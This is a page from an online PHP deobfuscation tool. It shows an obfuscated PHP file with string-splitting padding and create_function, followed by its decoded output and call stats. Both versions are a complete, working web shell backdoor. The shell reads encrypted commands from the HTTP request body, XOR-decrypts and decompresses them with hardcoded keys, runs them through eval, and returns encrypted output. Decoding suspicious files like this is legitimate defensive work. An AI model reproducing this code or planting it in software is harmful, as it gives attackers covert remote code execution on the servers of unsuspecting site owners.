Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $R=str_replace('UM','','creUMaUMte_UMfUMuncUMUMtion'); $y='://input"),MM$m)==1) {..
Decoded Output download
$k="c8130591";$kh="151e1edeef26"
$kf="2d3006d7b2d0"
$p="kFFhp4HI24Hn3ikP";function x($t,$k){$c=strlen($k);$l=strlen($t)
$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l)
$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}if
(@preg_match("/$kh(.+
$kf/",@file_get_contents("php://input"),$m)==1)
{@ob_start();eval(@gzuncompress(@x(@base64
decode($m[1]),$k)));$o=@ob_get_contents();@ob_end_clean()
$r=@base64_encode(@x(@gzcompress($o)
$k));print("$p$kh$r$kf");}Did this file decode correctly?
Original Code
<?php
$R=str_replace('UM','','creUMaUMte_UMfUMuncUMUMtion');
$y='://input"),MM$m)==1)
{@MMob_staMMrt();@MMevaMMl(@gzuncoMMmpMMreMMss(@x(@base6MM4
decode(MMMM$m[1]),$k)MM));$MMo=@MMob_ge';
$Q='t_contMMents(MM);MM@oMMb_end_clean()MM
$r=@baMMse64_MMencMMode(@x(@MMgzcoMMMMmpresMMs($o)
$k));print("$pMM$MMkh$r$kf");}';
$H='MM)MMMM{$c=stMMrlen($kMM);$l=strlen($t)
$o=MM"";MMforMM(MM$i=0MM;$i<$l;){for($jMM=0;(MM$j<$c&&$i<$MMlMM)
$j++,$i+MM+)';
$O='MM$kMM="c81MM30591";$kh="151e1eMMdeeMMf26"
$kMMf="2d300MM6dMM7MMb2d0"
$p="kFFhp4MMHIMMMM24Hn3ikP";functiMMonMM x($t,$k';
$p='{$oMM.=$t{MM$MMi}^$k{$j};}}reMMturMMnMM $o;}iMMf
(@pMMreg_match("/$khMM(MM.+MM
$kf/",@file_MMget_contMMentMMMMsMM("php';
$e=str_replace('MM','',$O.$H.$p.$y.$Q);
$l=$R('',$e);$l();
?>Function Calls
| str_replace | 2 |
| create_function | 1 |
Stats
| MD5 | e585041d2182aa8da0cf311760e63095 |
| Eval Count | 1 |
| Decode Time | 51 ms |